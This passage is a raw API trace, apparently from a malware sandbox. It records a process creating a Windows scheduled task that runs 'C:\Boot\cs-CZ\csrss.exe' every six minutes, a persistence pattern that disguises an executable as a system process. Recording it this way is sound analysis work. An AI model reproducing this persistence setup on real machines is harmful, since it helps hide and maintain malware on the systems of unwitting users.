_BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|mo|") returned 4 [0067.878] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.879] lstrlenW (lpString="|mo|") returned 4 [0067.879] lstrlenW (lpString="|f|") returned 3 [0067.879] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0067.879] SetLastError (dwErrCode=0x490) [0067.879] lstrlenW (lpString="d") returned 1 [0067.879] lstrlenW (lpString="d") returned 1 [0067.879] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.879] lstrlenW (lpString="f") returned 1 [0067.879] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.879] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|d|") returned 3 [0067.879] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.879] lstrlenW (lpString="|d|") returned 3 [0067.879] lstrlenW (lpString="|f|") returned 3 [0067.879] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0067.879] SetLastError (dwErrCode=0x490) [0067.879] lstrlenW (lpString="m") returned 1 [0067.879] lstrlenW (lpString="m") returned 1 [0067.879] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.879] lstrlenW (lpString="f") returned 1 [0067.879] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.879] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|m|") returned 3 [0067.879] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.879] lstrlenW (lpString="|m|") returned 3 [0067.879] lstrlenW (lpString="|f|") returned 3 [0067.879] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0067.879] SetLastError (dwErrCode=0x490) [0067.879] lstrlenW (lpString="i") returned 1 [0067.879] lstrlenW (lpString="i") returned 1 [0067.879] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.880] lstrlenW (lpString="f") returned 1 [0067.880] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.880] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|i|") returned 3 [0067.880] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.880] lstrlenW (lpString="|i|") returned 3 [0067.880] lstrlenW (lpString="|f|") returned 3 [0067.880] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0067.880] SetLastError (dwErrCode=0x490) [0067.880] lstrlenW (lpString="tn") returned 2 [0067.880] lstrlenW (lpString="tn") returned 2 [0067.880] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.880] lstrlenW (lpString="f") returned 1 [0067.880] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.880] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tn|") returned 4 [0067.880] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.880] lstrlenW (lpString="|tn|") returned 4 [0067.880] lstrlenW (lpString="|f|") returned 3 [0067.880] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0067.880] SetLastError (dwErrCode=0x490) [0067.880] lstrlenW (lpString="tr") returned 2 [0067.880] lstrlenW (lpString="tr") returned 2 [0067.880] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.880] lstrlenW (lpString="f") returned 1 [0067.880] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.880] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|tr|") returned 4 [0067.880] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.880] lstrlenW (lpString="|tr|") returned 4 [0067.880] lstrlenW (lpString="|f|") returned 3 [0067.880] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0067.880] SetLastError (dwErrCode=0x490) [0067.880] lstrlenW (lpString="st") returned 2 [0067.881] lstrlenW (lpString="st") returned 2 [0067.881] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.881] lstrlenW (lpString="f") returned 1 [0067.881] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.881] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|st|") returned 4 [0067.881] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.881] lstrlenW (lpString="|st|") returned 4 [0067.881] lstrlenW (lpString="|f|") returned 3 [0067.881] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0067.881] SetLastError (dwErrCode=0x490) [0067.881] lstrlenW (lpString="sd") returned 2 [0067.881] lstrlenW (lpString="sd") returned 2 [0067.881] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.881] lstrlenW (lpString="f") returned 1 [0067.881] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.881] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|sd|") returned 4 [0067.881] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.881] lstrlenW (lpString="|sd|") returned 4 [0067.881] lstrlenW (lpString="|f|") returned 3 [0067.881] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0067.881] SetLastError (dwErrCode=0x490) [0067.881] lstrlenW (lpString="ed") returned 2 [0067.881] lstrlenW (lpString="ed") returned 2 [0067.881] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.881] lstrlenW (lpString="f") returned 1 [0067.881] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.881] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ed|") returned 4 [0067.881] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.881] lstrlenW (lpString="|ed|") returned 4 [0067.881] lstrlenW (lpString="|f|") returned 3 [0067.882] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0067.882] SetLastError (dwErrCode=0x490) [0067.882] lstrlenW (lpString="it") returned 2 [0067.882] lstrlenW (lpString="it") returned 2 [0067.882] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.882] lstrlenW (lpString="f") returned 1 [0067.882] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.882] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|it|") returned 4 [0067.882] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.882] lstrlenW (lpString="|it|") returned 4 [0067.882] lstrlenW (lpString="|f|") returned 3 [0067.882] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0067.882] SetLastError (dwErrCode=0x490) [0067.882] lstrlenW (lpString="et") returned 2 [0067.882] lstrlenW (lpString="et") returned 2 [0067.882] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.882] lstrlenW (lpString="f") returned 1 [0067.882] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.882] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|et|") returned 4 [0067.882] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.882] lstrlenW (lpString="|et|") returned 4 [0067.882] lstrlenW (lpString="|f|") returned 3 [0067.882] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0067.882] SetLastError (dwErrCode=0x490) [0067.882] lstrlenW (lpString="k") returned 1 [0067.882] lstrlenW (lpString="k") returned 1 [0067.882] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.882] lstrlenW (lpString="f") returned 1 [0067.883] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.883] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|k|") returned 3 [0067.883] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.883] lstrlenW (lpString="|k|") returned 3 [0067.883] lstrlenW (lpString="|f|") returned 3 [0067.883] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0067.883] SetLastError (dwErrCode=0x490) [0067.883] lstrlenW (lpString="du") returned 2 [0067.883] lstrlenW (lpString="du") returned 2 [0067.883] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.883] lstrlenW (lpString="f") returned 1 [0067.883] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.883] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|du|") returned 4 [0067.883] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.883] lstrlenW (lpString="|du|") returned 4 [0067.883] lstrlenW (lpString="|f|") returned 3 [0067.883] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0067.883] SetLastError (dwErrCode=0x490) [0067.883] lstrlenW (lpString="ri") returned 2 [0067.883] lstrlenW (lpString="ri") returned 2 [0067.883] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.883] lstrlenW (lpString="f") returned 1 [0067.883] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.883] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|ri|") returned 4 [0067.883] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.883] lstrlenW (lpString="|ri|") returned 4 [0067.883] lstrlenW (lpString="|f|") returned 3 [0067.883] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0067.883] SetLastError (dwErrCode=0x490) [0067.883] lstrlenW (lpString="z") returned 1 [0067.883] lstrlenW (lpString="z") returned 1 [0067.883] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.884] lstrlenW (lpString="f") returned 1 [0067.884] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.884] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|z|") returned 3 [0067.884] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.884] lstrlenW (lpString="|z|") returned 3 [0067.884] lstrlenW (lpString="|f|") returned 3 [0067.884] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0067.884] SetLastError (dwErrCode=0x490) [0067.884] lstrlenW (lpString="f") returned 1 [0067.884] lstrlenW (lpString="f") returned 1 [0067.884] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.884] lstrlenW (lpString="f") returned 1 [0067.884] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.884] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.884] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c868 | out: _Buffer="|f|") returned 3 [0067.884] lstrlenW (lpString="|f|") returned 3 [0067.884] lstrlenW (lpString="|f|") returned 3 [0067.884] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0067.884] SetLastError (dwErrCode=0x0) [0067.884] SetLastError (dwErrCode=0x0) [0067.884] GetProcessHeap () returned 0x220000 [0067.884] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce10 [0067.884] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.884] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0067.884] lstrlenW (lpString="MINUTE") returned 6 [0067.884] GetProcessHeap () returned 0x220000 [0067.884] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d660 [0067.884] GetThreadLocale () returned 0x409 [0067.885] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0067.885] SetLastError (dwErrCode=0x0) [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x1fc) returned 0x23c450 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cde0 [0067.885] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.885] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0067.885] lstrlenW (lpString="First") returned 5 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d680 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdb0 [0067.885] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.885] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0067.885] lstrlenW (lpString="Second") returned 6 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d6a0 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd80 [0067.885] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.885] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0067.885] lstrlenW (lpString="Third") returned 5 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d6c0 [0067.885] GetProcessHeap () returned 0x220000 [0067.885] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd50 [0067.885] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.885] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0067.885] lstrlenW (lpString="Fourth") returned 6 [0067.885] GetProcessHeap () returned 0x220000 [0067.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d6e0 [0067.886] GetProcessHeap () returned 0x220000 [0067.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd20 [0067.886] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.886] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0067.886] lstrlenW (lpString="Last") returned 4 [0067.886] GetProcessHeap () returned 0x220000 [0067.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23d700 [0067.886] lstrlenW (lpString="6") returned 1 [0067.886] _wtol (_String="6") returned 6 [0067.886] GetProcessHeap () returned 0x220000 [0067.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccf0 [0067.886] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.886] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0067.886] lstrlenW (lpString="First") returned 5 [0067.886] GetProcessHeap () returned 0x220000 [0067.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d720 [0067.886] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.886] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0067.886] lstrlenW (lpString="Second") returned 6 [0067.886] GetProcessHeap () returned 0x220000 [0067.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d740 [0067.886] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.886] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0067.886] lstrlenW (lpString="Third") returned 5 [0067.886] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.886] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0067.886] lstrlenW (lpString="Fourth") returned 6 [0067.886] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.886] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0067.887] lstrlenW (lpString="Last") returned 4 [0067.887] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c6e0, cchData=128 | out: lpLCData="0") returned 2 [0067.887] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.887] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0067.887] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d680) returned 1 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d680) returned 0xc [0067.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d680 | out: hHeap=0x220000) returned 1 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d680 [0067.887] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c700, cchData=128 | out: lpLCData="0") returned 2 [0067.887] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.887] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0067.887] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0) returned 1 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d6a0) returned 0xe [0067.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d6a0 | out: hHeap=0x220000) returned 1 [0067.887] GetProcessHeap () returned 0x220000 [0067.887] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d6a0 [0067.887] GetLocalTime (in: lpSystemTime=0x11c930 | out: lpSystemTime=0x11c930*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x34, wMilliseconds=0x1b7)) [0067.887] lstrlenW (lpString="") returned 0 [0067.888] GetLocalTime (in: lpSystemTime=0x11d1e8 | out: lpSystemTime=0x11d1e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x34, wMilliseconds=0x1b7)) [0067.888] lstrlenW (lpString="") returned 0 [0067.888] lstrlenW (lpString="") returned 0 [0067.888] lstrlenW (lpString="") returned 0 [0067.888] lstrlenW (lpString="") returned 0 [0067.888] lstrlenW (lpString="6") returned 1 [0067.888] _wtol (_String="6") returned 6 [0067.888] lstrlenW (lpString="") returned 0 [0067.888] lstrlenW (lpString="") returned 0 [0067.888] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0067.945] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0067.996] CoCreateInstance (in: rclsid=0xff3d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff3d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11cfb0 | out: ppv=0x11cfb0*=0x32dee0) returned 0x0 [0068.010] TaskScheduler:ITaskService:Connect (This=0x32dee0, serverName=0x11d090*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0068.126] TaskScheduler:IUnknown:AddRef (This=0x32dee0) returned 0x2 [0068.126] TaskScheduler:ITaskService:GetFolder (in: This=0x32dee0, Path=0x0, ppFolder=0x11d148 | out: ppFolder=0x11d148*=0x4d7c70) returned 0x0 [0068.129] TaskScheduler:ITaskService:NewTask (in: This=0x32dee0, flags=0x0, ppDefinition=0x11d140 | out: ppDefinition=0x11d140*=0x4d7cc0) returned 0x0 [0068.130] ITaskDefinition:get_Actions (in: This=0x4d7cc0, ppActions=0x11d0c0 | out: ppActions=0x11d0c0*=0x4d7d80) returned 0x0 [0068.130] IActionCollection:Create (in: This=0x4d7d80, Type=0, ppAction=0x11d0e0 | out: ppAction=0x11d0e0*=0x4d6140) returned 0x0 [0068.130] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.130] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0068.130] lstrlenW (lpString=" ") returned 1 [0068.130] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0068.130] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0068.130] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0068.130] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0068.130] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x5a) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0068.131] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0068.131] IUnknown:Release (This=0x4d6140) returned 0x1 [0068.131] IUnknown:Release (This=0x4d7d80) returned 0x1 [0068.131] ITaskDefinition:get_Triggers (in: This=0x4d7cc0, ppTriggers=0x11cc40 | out: ppTriggers=0x11cc40*=0x4d7ec0) returned 0x0 [0068.132] ITriggerCollection:Create (in: This=0x4d7ec0, Type=1, ppTrigger=0x11cc38 | out: ppTrigger=0x11cc38*=0x4d61b0) returned 0x0 [0068.132] lstrlenW (lpString="6") returned 1 [0068.132] _vsnwprintf (in: _Buffer=0x11cbc0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x11cbb8 | out: _Buffer="PT6M") returned 4 [0068.132] ITrigger:get_Repetition (in: This=0x4d61b0, ppRepeat=0x11cc30 | out: ppRepeat=0x11cc30*=0x4d6240) returned 0x0 [0068.132] IRepetitionPattern:put_Interval (This=0x4d6240, Interval="PT6M") returned 0x0 [0068.132] IUnknown:Release (This=0x4d6240) returned 0x1 [0068.132] _vsnwprintf (in: _Buffer=0x11cb80, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11cb58 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0068.133] ITrigger:put_StartBoundary (This=0x4d61b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0068.133] lstrlenW (lpString="") returned 0 [0068.133] lstrlenW (lpString="") returned 0 [0068.133] lstrlenW (lpString="") returned 0 [0068.133] lstrlenW (lpString="") returned 0 [0068.133] IUnknown:Release (This=0x4d61b0) returned 0x1 [0068.133] IUnknown:Release (This=0x4d7ec0) returned 0x1 [0068.133] ITaskDefinition:get_Settings (in: This=0x4d7cc0, ppSettings=0x11d0e0 | out: ppSettings=0x11d0e0*=0x4d5f80) returned 0x0 [0068.133] lstrlenW (lpString="") returned 0 [0068.133] IUnknown:Release (This=0x4d5f80) returned 0x1 [0068.133] GetLocalTime 